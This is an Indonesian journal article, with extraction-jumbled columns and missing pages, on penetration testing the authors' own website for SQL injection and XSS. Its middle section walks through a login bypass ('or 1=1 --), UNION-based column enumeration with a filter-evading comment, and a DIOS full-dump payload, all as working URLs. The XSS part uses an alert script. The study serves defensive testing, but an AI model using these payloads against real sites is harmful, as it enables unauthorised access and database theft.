2546 10997 1 PB
2546 10997 1 PB
2546 10997 1 PB
p-issn : 2088-2114
Vol. 14, no.2, Desember 2022
e-issn : 2477-2542
http://jurnal.unsur.ac.id/mjinformatika
Essa Jaka Abdillah1, Rif’atul Khoriyah2, Ahmad Nabih Abqariy3, Purnomo Hadi Susilo4
Universitas Islam Lamongan1,3,4, UIN Sunan Ampel Surabaya2
ezzajaka@gmail.com1, rifatulkhoriyah28@gmail.com2, ahmadnabihabqariy@gmail.com3,
hadyjelak.purnomo@gmail.com4
Abstract
This article aims to develop a website security system, using Penetration Testing and DAST (Dynamic
Application Security Testing) techniques. Solutions to minimize hacking. the author created the noInjection plugin
using the test material for the db.essajaka.web.id website. This article was written using the quantitative method by
formulating the background, formulating the problem, determining the theoretical basis, formulating hypotheses, and
collecting data. The steps taken by the author are through Scope (determining the scope), Reconnaissance (collecting
information about the web), Vulnerability Detaction (searching for target security holes), Information Analysis and
Planning (testing planning), Penetration Testing (attacks on targets based on analysis and planning) , Security System
Development. The primary data sources in this article are several books and journals that are relevant to the theme.
The results of this research are website security with the DAST (Dynamic Application Security Testing) technique on
the db.essajaka.web.id website, there are two loopholes, namely Cross Side Scripting, and Sql Injection in Penetration
testing which uses the Sql Injection technique through entering a character ( ') in the id in the last url and will get an
error in the database query which can be seen in the browser application. Evaluation that can be done is to add the
noInjection plugin to the website application.
Keywords: Cross Side Scripting, Penetration Testing and DAST, Sql Injection, Website Security.
Abstrak
Artikel ini bertujuan untuk melakukan pengembangan sistem keamanan website, dengan menggunakan
Teknik Penetration Testing dan DAST (Dynamic Application Security Testing). Solusi dalam meminimalisir
peretasan. penulis menciptakan plugin noInjection dengan bahan uji coba website db.essajaka.web.id. Artikel ini
ditulis dengan menggunakan metode kuantitatif dengan merumuskan latar belakang, membuat rumusan masalah,
menentukan landasan teori, merumuskan hipotesis, dan melakukan pengumpulan data. Langkah yang dilakukan
penulis yaitu melalui Scope (menentukan ruang lingkup), Reconnaissance (pengumpulan informasi tentang web),
Vulnerability Detaction (pencarian celah keamanan target), Information Analysis and Planning (perencanaan
pengujian), Penetration Testing (serangan terhadap target berdasarkan analisis dan perencanaan), Pengembangan
System Keamanan. Sumber data primer dalam artikel ini adalah beberapa buku, dan jurnal yang relevan dengan
tema. Hasil dari penilitian ini adalah keamanan website dengan teknik DAST (Dynamic Application Security Testing)
di website db.essajaka.web.id terdapat dua celah,yaitu Cross Side Scripting, dan Sql Injection dalam Penetration
testing yang menggunakan teknik Sql Injection melalui masuknya sebuah karakter (‘) pada id yang ada di url terakhir
dan akan mendapatkan maslaah (error) pada query database yang dapat dilihat di aplikasi browser. Evaluasi yang
dapat dilakukan adalah dengan menambahkan plugin noInjection pada aplikasi website.
Kata kunci: Cross Side Scripting, Keamanan Website, Penetration Testing dan DAST, , Sql Injection
112
MJI Vol.14, No.2, Desember 2022, hlm. 112-118
114
MJI Vol.14, No.2, Desember 2022, hlm. 112-118
perubahan pada konten atau aplikasi. mencoba menambahkan karakter (‘) setelah angka 1,
Ketika dilakukan penetration test terhadap celah sql querynya memberikan kesalahan dan ditampilkan di
Injection melalui cara manual seperti Bypass Admin browser. [8] Jika kesalahan seperti itu terjadi, itu tidak
login menggunakan Query tertentu serta dump isi dari akan ditampilkan kepada pengguna. Ini karena ketika
database yang sedang digunakan oleh aplikasi tersebut terjadi kesalahan dalam query basis data dan ditampilkan
berikut ini adalah demonstrasi cara seseorang attacker di browser, pengguna akan dapat melihat salah satu nama
melakukan bypass admin. tabel. Dapat dilihat bahwa nama tabel karyawan yang
A. Melakukan pencarian target login admin yang digunakan untuk data pemagang yang tersimpan di basis
terdapat celah bypass admin dengan SQL Injection data sistem informasi db.essajaka.web.id.
2. Selanjutnya adalah mencari jumlah tabel yang ada dalam
database dengan menggunakan query order by , contoh
https://db.essajaka.web.id/app/tampilprofil?id=1%27+or
der+by+18--+, maka web akan normal kembali.
3. Lanjutkan dengan mengganti angka 1 menjadi 2/3/4/5/6
dan seterusnya sampai muncul pesan error lagi. Nah
disitu terjadi error di angka 19, logikanya ketika
melakukan perintah order by 1,2,3 dan seterusnya sampai
18 tidak terjadi error dan di nomor 19 terjadi error, itu
artinya jumlah tabel yang ada didalam database tidak
sampai 19, lalu jumlah tabelnya yaitu 18 karena
Gambar 5. Tampilan login Admin berisikan merupakan angka terakhir yang tidak error.
Query Bypass Admin 4. Berikutnya mencari angka Ajaibnya, gunakan
Di saat berada di halaman login admin isikan perintah UNION SELECT, contohnya
username: 'or 1=1 -- dan password: 'or 1=1 -- https://db.essajaka.web.id/app/tampilprofil?id=1%27+an
Selanjutnya adalah mencari jumlah tabel yang ada dalam d+0+/*!12345union*/+select+1,2,3,4,5,6,7,8,9,10,11,12,
database dengan menggunakan query order by contoh 13,14,15,16,17,1 8--+ , untuk angkanya sesuaikan jumlah
https://db.essajaka.web.id/app/tampilprofil?id=1%27+orde tabelnya yang ditemukan[7].
r+by+18--+, maka web akan normal Kembali. 5. Maka akan keluar angka seperti gambar sebelumnya
Kemudian klik login apabila berhasil akan di terdapat angka 2,5,3,6,7,8,9,10,13 yang keluar, berarti
arahkan ke menu dashboard admin dan bisa bisa lakukan injeksi di angka tersebut, bisa pilih angka
mengakses seluruh isi website tanpa perlu mengetahui salah satu saja dan ganti angka yang dipilih misalnya
username dan password asli dari website angka 5 diganti dengan perintah
db.essajaka.web.id. concat(database(),version()), untuk mengetahui database
dan versi yang digunakan, contohnya
https://db.essajaka.web.id/app/tampilprofil?id=1%27+an
d+0+/*!12345union*/+select+1,2,3,4,concat(database(),
version()),6,7,8,9, 10,11,12,13,14,15,16,17,18--+ bisa
melakukan cek informasi lain
menggunakan fungsi berikut ini[6]:
• Tampilkan Nama User database
• @@hostname — menampilkan Hostname
• @@tmpdir — menampilkan
Direktori temp
• @@datadir — menampilkan
Direktori data
• @@basedir — menampilkan
Gambar 6. Tampilan Dashboard admin
Direktori base
ketika berhasil login menggunakan Query
• database() — menampilkan Nama Database
Bypass Admin
• schema() — menampilkan Database yang
Masukan yang disimpan ke dalam basis data semestinya dipakai
menyertakan username dan password. Tidak masalah • session_user() — menampilkan Session User
karena ada tanda “ 'or 1=1 -- ” di mana artinya setiap 6. Selanjutnya untuk melakukan dump table pada database
masukan akan selalu dianggap true. Karena 1=1 adalah alias gunakan query DIOS (Dump InOne Shot),
untuk true dan or merupakan kondisi jika ada salah 1 atau make_set(6,@:=0x0a,(select(1)from(information_schem
lebih dari 2 atau lebih masukan true maka otentikasi akan a./**/columns)where@:=make_set(511,@,0x3c6c693e,
dianggap true oleh sistem. Juga, formulir kata sandi hanya 0x5b20,table_schema,0x205d2d2d3e20,table_name,0x3
dianggap sebagai sintaks komentar dalam SQL setelah a3a,column_name)),@). Contohnya :
karakter “– ”, sehingga dapat memasukkannya sesuka hati. https://db.essajaka.web.id/app/tampilprofil?id=1%27
Selain itu Sql injection juga bisa digunakan untuk meng +and+0+/*!12345union*/+select+1,2,3,4,make_set(
Xploitasi database yang ada di aplikasi tersebut[10]. 6,@:=0x0a,(select(1)from(information_schema./**/c
1. Penetration test akan menggunakan url olumns)where@:=make_set(511,@,0x3c6c693e,0x
https://db.essajaka.web.id/app/tampilprofil?id=1, ketika 5b20,table_schema,0x205d2d2d3e20,table_name,0x3
116
MJI Vol.14, No.2, Desember 2022, hlm. 112-118
2. XSS
XSS adalah jenis serangan injeksi kode. XSS dijalankan VI. REFERENSI
oleh penyerang yang menyuntikkan HTML atau kode skrip
klien lainnya ke dalam situs web. Serangan ini seakan-akan
berasal dari situs web tersebut. Dikarenakan terdapat [1] R. Khoriyah and A. Muhid, “Inovasi Teknologi
gencatan, gencatan virus dapat melewati keamanan sisi Pembelajaran dengan Menggunakan Aplikasi
klien, dan diperoleh informasi negative dan sensitive, atau Wordwall Website pada Mata Pelajaran PAI di Masa
menyimpan aplikasi berbahaya. Pengujian penetrasi Penerapan Pembelajaran Jarak Jauh: Tinjauan
dilakukan dengan memasukkan informasi ke dalam formulir Pustaka,” Tarb. Wa Ta’lim J. Penelit. Pendidik. dan
edit profil pengguna yang disediakan oleh situs web Pembelajaran, pp. 192–205, 2022.
db.essajaka.web.id. Formulir yang dipilih dengan url [2] H. Haqqi and H. Wijayati, Revolusi industri 4.0 di
https://db.essajaka.web.id/app/profiluser/1. berisikan form tengah society 5.0: sebuah integrasi ruang,
untuk edit profile user yang akan mendaftarkan magang di terobosan teknologi, dan transformasi kehidupan di
Perusahaan. [8] era disruptif. Anak Hebat Indonesia, 2019.
a. Pengujian penetration test yang dilakukan dengan [3] B. Wicaksono, “Pengujian Celah Keamanan Aplikasi
memasukan source code javascript, yaitu Berbasis WEB Menggunakan Teknik Penetrion
<script>alert('TESTED BUG XSS')</script> di Testing dan DAST (Dynamic Application Security
salah satu form yang sudah disediakan. Testing),” Molecules, vol. 2, no. 1, pp. 1–12, 2020.
b. Jika terlihat tidak berpengaruh setelah menyimpan ke [4] N. Fadhillah, R. Khoriyah, and M. Muhlishotin,
halaman tersebut, karena admin dapat melihat basis “Efektivitas Model Crossword Puzzle untuk
data dan masuk ke dashboard admin. Langkah pertama Meningkatkan Motivasi Belajar Siswa Pada Mata
adalah mengecek terlebih dahulu hasil inputan di basis Pelajaran Al-Qur’an Hadist,” JIIP - J. Ilm. Ilmu
data, dari hasil edit data profil pengguna informasi Pendidik., vol. 5, no. 7, pp. 2542–2546, 2022, doi:
yang tersimpan di basis data dan input script. 10.54371/jiip.v5i7.698.
c. Kemudian langkah yang di lakukan selanjutnya [5] P. Engebretson, “The basics of hacking and
kembali ke menu profile untuk melihat hasil edit data penetration testing: Ethical hacking and penetration
yang masuk dan mengarahkan ke url testing made easy.[Books24x7 version] Retrieved
https://db.essajaka.web.id/app/tampilprofil?id=1 dan March 26, 2013.” 2011.
sistem berhasil terserang pada celah keamanan Cross [6] M. Muhsin and A. Fajaryanto, “Penerapan Pengujian
Side Scripting (XSS). Keamanan Web Server Menggunakan Metode
OWASP versi 4 (Studi Kasus Web Server Ujian
V. KESIMPULAN Online),” Multitek Indones., vol. 9, no. 1, pp. 31–42,
2016.
Dalam uji keamanan website dengan teknik DAST [7] H. Pranata, L. A. Abdillah, and U. Ependi, “Analisis
(Dynamic Application Security Testing). di website Keamanan Protokol Secure Socket Layer (SSL)
db.essajaka.web.id yang diserang serangan teknik Cross Terhadap Proses Sniffing di Jaringan,” arXiv Prepr.
Side Scripting, dan Sql Injection, pada website dapat arXiv1508.05457, 2015.
dibuktikan. Sehingga bisa dilakukan proses evaluasi [8] M. A. Z. Risky and Y. Yuhandri, “Optimalisasi dalam
untuk melakukan pengembangan keamanan website dari Penetrasi Testing Keamanan Website Menggunakan
ke dua celah keamanan tersebut. Teknik SQL Injection dan XSS,” J. Sistim Inf. dan
Dalam Penetration testing yang menggukanakn Teknol., vol. 3, pp. 215–220, 2021, doi:
teknik Cross Side Scripting didapatkan bahwa di 10.37034/jsisfotek.v3i4.68.
website db.essajaka.web.id setelah memasukan script [9] Y. Mulyanto, M. Taufan Asri Zaen, and S. Sihab,
117
DOI : 10.35194/mji.v14i2.2546
118